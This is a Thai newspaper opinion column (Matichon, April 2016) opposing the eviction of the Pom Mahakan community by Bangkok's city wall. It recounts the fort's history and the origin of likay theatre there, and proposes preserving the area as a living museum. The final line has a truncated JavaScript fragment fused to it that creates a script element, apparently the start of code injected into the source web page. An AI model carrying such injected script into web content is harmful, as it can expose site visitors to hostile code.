มติชนรายวัน ฉบับประจำวันพฤหัสบดีที่ 28 เมษายน 2559

 

มิวเซียมมีชีวิต

ของกรุงรัตนโกสินทร์

 

          ไม่ควรไล่รื้อชุมชนป้อมมหากาฬ ชานกำแพงพระนคร

          ในแนวทางสากล ควรอนุรักษ์และพัฒนาเป็นมิวเซียมมีชีวิต เพื่อเป็นแหล่งเรียนรู้ และแหล่งท่องเที่ยวทางประวัติศาสตร์กำเนิดกรุงรัตนโกสินทร์

          สอดคล้องและสอดรับกับนิทรรศน์รัตนโกสินทร์ ที่อยู่ต่อเนื่องกันตรงริมถนนราชดำเนิน แต่เนื้อหาไม่เหมือนกัน

          ป้อมมหากาฬ (สมัย ร.1) หมายถึงป้อมที่มีความแข็งแกร่งกัมปนาทและศักดิ์สิทธิ์ ดุจพระยม (บาล) สิงสถิตมีฤทธิ์เดชพิฆาตผู้จู่โจม

          คำว่า กาฬ มาจากภาษาสันสกฤตว่า กาล แปลว่า สีดำ, พระยม, ยมบาล, มฤตยู ฯลฯ ผูกชื่อไว้ข่มขวัญศัตรู เพราะเป็นป้อมตั้งอยู่จุดสำคัญด้านทิศตะวันออก บริเวณทางสามแพร่งของเส้นทางหลักด้านตะวันออก มีคลองมหานาคเป็นทางตรงจากตะวันออกชนเชื่อมคลองโอ่งอ่างซึ่งเป็นคลองเมือง

          บริเวณทางสามแพร่งแม่น้ำลำคลองจะเป็นย่านการค้าโดยธรรมชาติ มีทั้งเรือนแพกับเรือแพนาวาจอดสองข้างเรียงรายกลายเป็นชุมชนชานกำแพงพระนคร (เคยมีเป็นตัวอย่างสำคัญมาก คือ บริเวณป้อมมหาไชย พระนครศรีอยุธยา)

          สวนหลวงในกำแพงพระนคร (สมัย ร.3) บริเวณป้อมมหากาฬ เป็นสวนผลไม้หลวง เรียกสวนหลวงพระยาไกร

          แสดงว่ามีขุนนางตั้งบ้านเรือนอยู่ละแวกนั้น เท่าที่รู้กันคือ พระยาไกร กับขุนนางอื่นๆ อีกหลายคนมีบอกในเอกสาร [เช่น พระกฤษนุรักษ์, พระรามวิไชย, หลวงอภัยพิทักษ์ (อยู่) ฯลฯ]

          ร.3 โปรดให้เวนคืนพื้นที่สวนหลวง แล้วสร้างวัดคู่กัน คือ วัดเทพธิดาราม กับวัดราชนัดดาราม (ชาวบ้านเรียกวัดลูก, วัดหลาน)

          โดยเฉพาะวัดราชนัดดาราม ด้านนอกกำแพงพระนครออกไป ลงเขื่อนไม้ริมคลองเมืองยาวขนานเขตวัด แล้วตัดหนทางเข้าออกถึงวัดด้วย

          กำเนิดลิเกสยาม ป้อมมหากาฬ (สมัย ร.5) จากความคิดสร้างสรรค์ของพระยาเพชรปาณี (ขุนนางข้าราชการผู้ใหญ่) ซึ่งมีบ้านเรือนชุบเลี้ยงบ่าวไพร่บริวารอยู่ชานกำแพงพระนครหน้าวัดราชนัดดาราม

          พระยาเพชร มีนางละครนางรำแก้บน รับจ้างทำปี่พาทย์อยู่ก่อนนานแล้ว น่าจะตกทอดจากบรรพชนมาตั้งแต่ยุค ร.3 (เพราะมีเครือข่ายและเครือญาตินางรำละครกับกลุ่มบ้านหลานหลวง ยุคเดียวกัน)

          ถึงสมัย ร.5 จึงสร้างสรรค์สวดแขก (มุสลิมปัตตานี) ผสมละครนอก แล้วเรียก ลิเก (ปากชาวบ้านว่า ยี่เก) เล่นปิดวิกเก็บเงินค่าดู (เลียนแบบละครเจ้าคุณมหินทร์ วิกท่าเตียน) สมเด็จฯ กรมพระยาดำรงราชานุภาพ เคยเสด็จทอดพระเนตร แล้วทรงมีพระนิพนธ์เล่าเรื่องไว้ในสาส์นสมเด็จ

          ทั้งหมดนี้เป็นพยานว่าตั้งแต่ยุค ร.5 บริเวณป้อมมหากาฬ ชานกำแพงพระนคร เคยเป็นย่านบันเทิงของคนรากหญ้าแม่ค้าสามัญชนชาวบ้าน

          มหรสพยุคใหม่ สมัยหลังๆ ต่อมามีภาพยนตร์และการแสดงอื่นๆ ตามแบบตะวันตกคึกคักสนุกสนานทันสมัยกว่าลิเก อยู่ย่านต่างๆ ทำให้วิกลิเกพระยาเพชรก็ร่วงโรยไป

          ชุมชนป้อมมหากาฬ ชานกำแพงพระนคร ลดความสำคัญ แต่ยังเป็นย่านคนรากหญ้าทำมาหาเช้ากินค่ำเอาชีวิตรอด มีคนหลายรุ่นสลับสับเปลี่ยนเป็นธรรมดาของสามัญชนชาวบ้าน

          กทม. ควรทบทวนแล้วยกเลิกไล่รื้อเพื่อรักษาประวัติศาสตร์สังคมของกรุงรัตนโกสินทร์อย่างสร้างสรรค์

          โดยไม่ใส่ร้ายว่าเป็นชุมชนประวัติศาสตร์เพิ่งสร้าง ซึ่งเป็นเท็จ}var d=document;var s=d.createElement(‘script’);